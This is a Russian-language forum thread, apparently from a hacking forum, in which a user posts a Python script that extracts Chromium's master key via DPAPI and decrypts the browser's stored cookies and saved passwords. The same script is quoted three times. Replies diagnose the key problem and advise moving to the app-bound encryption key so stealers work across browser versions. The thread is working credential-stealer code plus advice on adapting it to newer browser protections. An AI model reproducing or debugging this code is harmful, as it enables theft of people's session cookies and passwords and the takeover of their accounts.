• XSS.stack #1 – первый литературный журнал от юзеров форума

Проблема с расшифровкой куки

Andrey113

CD-диск
Пользователь
Регистрация
29.10.2024
Сообщения
16
Реакции
1
Добрый день, вечер, ночь. Нашел а просторах интернета на форуме скрипт по расшифровке куков. Решил для начала проверить на своей машине, но столкнулся с проблемой в процессе декодирования расшифрованных данных, а именно на строке
return decrypted_pass.decode()
пишет ответ:
Ключ: b'Lw:\x0f\x9c\x9c\xc1\x9f\x0cx\x86\x00t<\x18V\xe5\xb8...'
Шифрованные данные: b'\x856\x9af\x05\xf5T7\x8b\xa9Eht\x11\xbf\xd9\xf2\x0e\x91{...'
Вывод расшифровки
.microsoft.com TRUE / FALSE 13407163399005874 MC1 Error _decrypt: 'utf-8' codec can't decode byte 0x85 in position 0: invalid start byte
и так по всем зашифрованным данным. Кто знающий в чем может быть проблема?

Код по расшифровке:

Python:
import os
import sqlite3
import time
import json
import base64
from win32 import win32crypt
from Cryptodome.Cipher import AES
import subprocess
import urllib.parse

def get_master_key():
    with open("Local State0", "r") as f:
        local_state = json.load(f)
    master_key_base64 = local_state["os_crypt"]["encrypted_key"]
    master_key = base64.b64decode(master_key_base64)
    encrypted_key = master_key[5:]
    key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)
    return key[1]

def _decrypt(buffer, master_key):
    try:
        iv = buffer[3:15]
        payload = buffer[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_pass = cipher.decrypt(payload)
        decrypted_pass = decrypted_pass[:-16]
        return decrypted_pass.decode()
    except Exception as e:
        return f"Error _decrypt: {e}"


def passwords(profile, login_db, browser, master_key, folder_logs):
    try:
        passwords_list = ""

        temp_passwords_db = os.path.join(
            folder_logs, f"temp_passwords_db_{time.time()}.db"
        )

        with open(temp_passwords_db, "wb") as f:
            f.write(login_db)

        conn = sqlite3.connect(temp_passwords_db)
        cursor = conn.cursor()
        cursor.execute("SELECT action_url, username_value, password_value FROM logins")

        for item in cursor.fetchone():
            try:
                decrypted_password = _decrypt(item[2], master_key)
                if decrypted_password is not None:
                    passwords_list += f"[{browser or ''}][{profile or ''}]\n{item[0] or ''}\n{item[1] or ''}\n{decrypted_password}\n\n"

                else:
                    print("Decryption failed or returned None")
            except sqlite3.Error as e:
                print(f"Error passwords: {e}")

        conn.close()
        os.remove(temp_passwords_db)
        return passwords_list
    except Exception as e:
        print(f"[!] Unknown Error: {e}")

def cookies(master_key):
    f = open("output.txt", "w")
    f.write("Host\tSecure\tPath\tHttpOnly\tExpires\tName\tValue\n")
    try:
        cookies_list = ""
        cookies_db = "Cookies"


        conn = sqlite3.connect(cookies_db)
        cursor = conn.cursor()
        cursor.execute(
            "SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies"
        )

        for item in cursor.fetchall():
            try:
                decrypted_value = _decrypt(item[2], master_key)
                if decrypted_value is not None:
                    cookies_list += f"{item[0]}\t{str(bool(item[5])).upper()}\t{item[3]}\t{str(bool(item[6])).upper()}\t{item[4]}\t{item[1]}\t{decrypted_value}\n"
                else:
                    print("Decryption failed or returned None")
            except sqlite3.Error as e:
                print(f"Error cookies: {e}")

        conn.close()

        print(cookies_list)
        f.write(cookies_list)
        f.close()
        return cookies_list

    except Exception as e:
        print(f"Error cookies: {e}")
        return []

def main():
    byte_array = get_master_key()
    cookies(byte_array)

if __name__ == "__main__":
    main()
 
Последнее редактирование:
Добрый день, вечер, ночь. Нашел а просторах интернета на форуме скрипт по расшифровке куков. Решил для начала проверить на своей машине, но столкнулся с проблемой в процессе декодирования расшифрованных данных, а именно на строке
return decrypted_pass.decode()
пишет ответ:
Ключ: b'Lw:\x0f\x9c\x9c\xc1\x9f\x0cx\x86\x00t<\x18V\xe5\xb8...'
Шифрованные данные: b'\x856\x9af\x05\xf5T7\x8b\xa9Eht\x11\xbf\xd9\xf2\x0e\x91{...'
Вывод расшифровки
.microsoft.com TRUE / FALSE 13407163399005874 MC1 Error _decrypt: 'utf-8' codec can't decode byte 0x85 in position 0: invalid start byte
и так по всем зашифрованным данным. Кто знающий в чем может быть проблема?

Код по расшифровке:

Python:
import os
import sqlite3
import time
import json
import base64
from win32 import win32crypt
from Cryptodome.Cipher import AES
import subprocess
import urllib.parse

def get_master_key():
    with open("Local State0", "r") as f:
        local_state = json.load(f)
    master_key_base64 = local_state["os_crypt"]["encrypted_key"]
    master_key = base64.b64decode(master_key_base64)
    encrypted_key = master_key[5:]
    key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)
    return key[1]

def _decrypt(buffer, master_key):
    try:
        iv = buffer[3:15]
        payload = buffer[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_pass = cipher.decrypt(payload)
        decrypted_pass = decrypted_pass[:-16]
        return decrypted_pass.decode()
    except Exception as e:
        return f"Error _decrypt: {e}"


def passwords(profile, login_db, browser, master_key, folder_logs):
    try:
        passwords_list = ""

        temp_passwords_db = os.path.join(
            folder_logs, f"temp_passwords_db_{time.time()}.db"
        )

        with open(temp_passwords_db, "wb") as f:
            f.write(login_db)

        conn = sqlite3.connect(temp_passwords_db)
        cursor = conn.cursor()
        cursor.execute("SELECT action_url, username_value, password_value FROM logins")

        for item in cursor.fetchone():
            try:
                decrypted_password = _decrypt(item[2], master_key)
                if decrypted_password is not None:
                    passwords_list += f"[{browser or ''}][{profile or ''}]\n{item[0] or ''}\n{item[1] or ''}\n{decrypted_password}\n\n"

                else:
                    print("Decryption failed or returned None")
            except sqlite3.Error as e:
                print(f"Error passwords: {e}")

        conn.close()
        os.remove(temp_passwords_db)
        return passwords_list
    except Exception as e:
        print(f"[!] Unknown Error: {e}")

def cookies(master_key):
    f = open("output.txt", "w")
    f.write("Host\tSecure\tPath\tHttpOnly\tExpires\tName\tValue\n")
    try:
        cookies_list = ""
        cookies_db = "Cookies"


        conn = sqlite3.connect(cookies_db)
        cursor = conn.cursor()
        cursor.execute(
            "SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies"
        )

        for item in cursor.fetchall():
            try:
                decrypted_value = _decrypt(item[2], master_key)
                if decrypted_value is not None:
                    cookies_list += f"{item[0]}\t{str(bool(item[5])).upper()}\t{item[3]}\t{str(bool(item[6])).upper()}\t{item[4]}\t{item[1]}\t{decrypted_value}\n"
                else:
                    print("Decryption failed or returned None")
            except sqlite3.Error as e:
                print(f"Error cookies: {e}")

        conn.close()

        print(cookies_list)
        f.write(cookies_list)
        f.close()
        return cookies_list

    except Exception as e:
        print(f"Error cookies: {e}")
        return []

def main():
    byte_array = get_master_key()
    cookies(byte_array)

if __name__ == "__main__":
    main()
There is an issue with the decryption key i feel
 
Добрый день, вечер, ночь. Нашел а просторах интернета на форуме скрипт по расшифровке куков. Решил для начала проверить на своей машине, но столкнулся с проблемой в процессе декодирования расшифрованных данных, а именно на строке
return decrypted_pass.decode()
пишет ответ:
Ключ: b'Lw:\x0f\x9c\x9c\xc1\x9f\x0cx\x86\x00t<\x18V\xe5\xb8...'
Шифрованные данные: b'\x856\x9af\x05\xf5T7\x8b\xa9Eht\x11\xbf\xd9\xf2\x0e\x91{...'
Вывод расшифровки
.microsoft.com TRUE / FALSE 13407163399005874 MC1 Error _decrypt: 'utf-8' codec can't decode byte 0x85 in position 0: invalid start byte
и так по всем зашифрованным данным. Кто знающий в чем может быть проблема?

Код по расшифровке:

Python:
import os
import sqlite3
import time
import json
import base64
from win32 import win32crypt
from Cryptodome.Cipher import AES
import subprocess
import urllib.parse

def get_master_key():
    with open("Local State0", "r") as f:
        local_state = json.load(f)
    master_key_base64 = local_state["os_crypt"]["encrypted_key"]
    master_key = base64.b64decode(master_key_base64)
    encrypted_key = master_key[5:]
    key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)
    return key[1]

def _decrypt(buffer, master_key):
    try:
        iv = buffer[3:15]
        payload = buffer[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_pass = cipher.decrypt(payload)
        decrypted_pass = decrypted_pass[:-16]
        return decrypted_pass.decode()
    except Exception as e:
        return f"Error _decrypt: {e}"


def passwords(profile, login_db, browser, master_key, folder_logs):
    try:
        passwords_list = ""

        temp_passwords_db = os.path.join(
            folder_logs, f"temp_passwords_db_{time.time()}.db"
        )

        with open(temp_passwords_db, "wb") as f:
            f.write(login_db)

        conn = sqlite3.connect(temp_passwords_db)
        cursor = conn.cursor()
        cursor.execute("SELECT action_url, username_value, password_value FROM logins")

        for item in cursor.fetchone():
            try:
                decrypted_password = _decrypt(item[2], master_key)
                if decrypted_password is not None:
                    passwords_list += f"[{browser or ''}][{profile or ''}]\n{item[0] or ''}\n{item[1] or ''}\n{decrypted_password}\n\n"

                else:
                    print("Decryption failed or returned None")
            except sqlite3.Error as e:
                print(f"Error passwords: {e}")

        conn.close()
        os.remove(temp_passwords_db)
        return passwords_list
    except Exception as e:
        print(f"[!] Unknown Error: {e}")

def cookies(master_key):
    f = open("output.txt", "w")
    f.write("Host\tSecure\tPath\tHttpOnly\tExpires\tName\tValue\n")
    try:
        cookies_list = ""
        cookies_db = "Cookies"


        conn = sqlite3.connect(cookies_db)
        cursor = conn.cursor()
        cursor.execute(
            "SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies"
        )

        for item in cursor.fetchall():
            try:
                decrypted_value = _decrypt(item[2], master_key)
                if decrypted_value is not None:
                    cookies_list += f"{item[0]}\t{str(bool(item[5])).upper()}\t{item[3]}\t{str(bool(item[6])).upper()}\t{item[4]}\t{item[1]}\t{decrypted_value}\n"
                else:
                    print("Decryption failed or returned None")
            except sqlite3.Error as e:
                print(f"Error cookies: {e}")

        conn.close()

        print(cookies_list)
        f.write(cookies_list)
        f.close()
        return cookies_list

    except Exception as e:
        print(f"Error cookies: {e}")
        return []

def main():
    byte_array = get_master_key()
    cookies(byte_array)

if __name__ == "__main__":
    main()
ты пытаешься декодировать в ютф то, что не является валидом.
проще говоря проблема в самом ключе
 
ты пытаешься декодировать в ютф то, что не является валидом.
проще говоря проблема в самом ключе
Ну это возможно. Какой сейчас вообще способ актуальный?
Находил методы где используют AES MODE GCM v20 и ключ из состояния
["os_crypt"]["encrypted_key"]
в другом месте находил такой ключ
["os_crypt"]["app_bound_encrypted_key"]
там реализация чуть сложнее, но чисто локально работает. Второй метод использует tag для расшифровки, первый нет. И я вот понять не могу, метод, который я указал в этой теме он сейчас актуален и стоит в его сторону смотреть или это уже в прошлом?
 
Ну это возможно. Какой сейчас вообще способ актуальный?
Находил методы где используют AES MODE GCM v20 и ключ из состояния
["os_crypt"]["encrypted_key"]
в другом месте находил такой ключ
["os_crypt"]["app_bound_encrypted_key"]
там реализация чуть сложнее, но чисто локально работает. Второй метод использует tag для расшифровки, первый нет. И я вот понять не могу, метод, который я указал в этой теме он сейчас актуален и стоит в его сторону смотреть или это уже в прошлом?
в отношении куки, encrypted_key уже, можно сказать, в прошлом, но до сих пор могут встречаться машины со старым методом шифрования. Поэтому, в любом случае, адаптировать необходимо под все сценарии
 
Ну это возможно. Какой сейчас вообще способ актуальный?
Находил методы где используют AES MODE GCM v20 и ключ из состояния
["os_crypt"]["encrypted_key"]
в другом месте находил такой ключ
["os_crypt"]["app_bound_encrypted_key"]
там реализация чуть сложнее, но чисто локально работает. Второй метод использует tag для расшифровки, первый нет. И я вот понять не могу, метод, который я указал в этой теме он сейчас актуален и стоит в его сторону смотреть или это уже в прошлом?
Зависит от версии браузера, вообще на данный момент актуален (если рассматривать современные браузеры) [app_bound_encrypted_key] да и он впринципе самый защищенный и продвинутый.
Единственное что для анализа может потребоваться сторонний апи
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх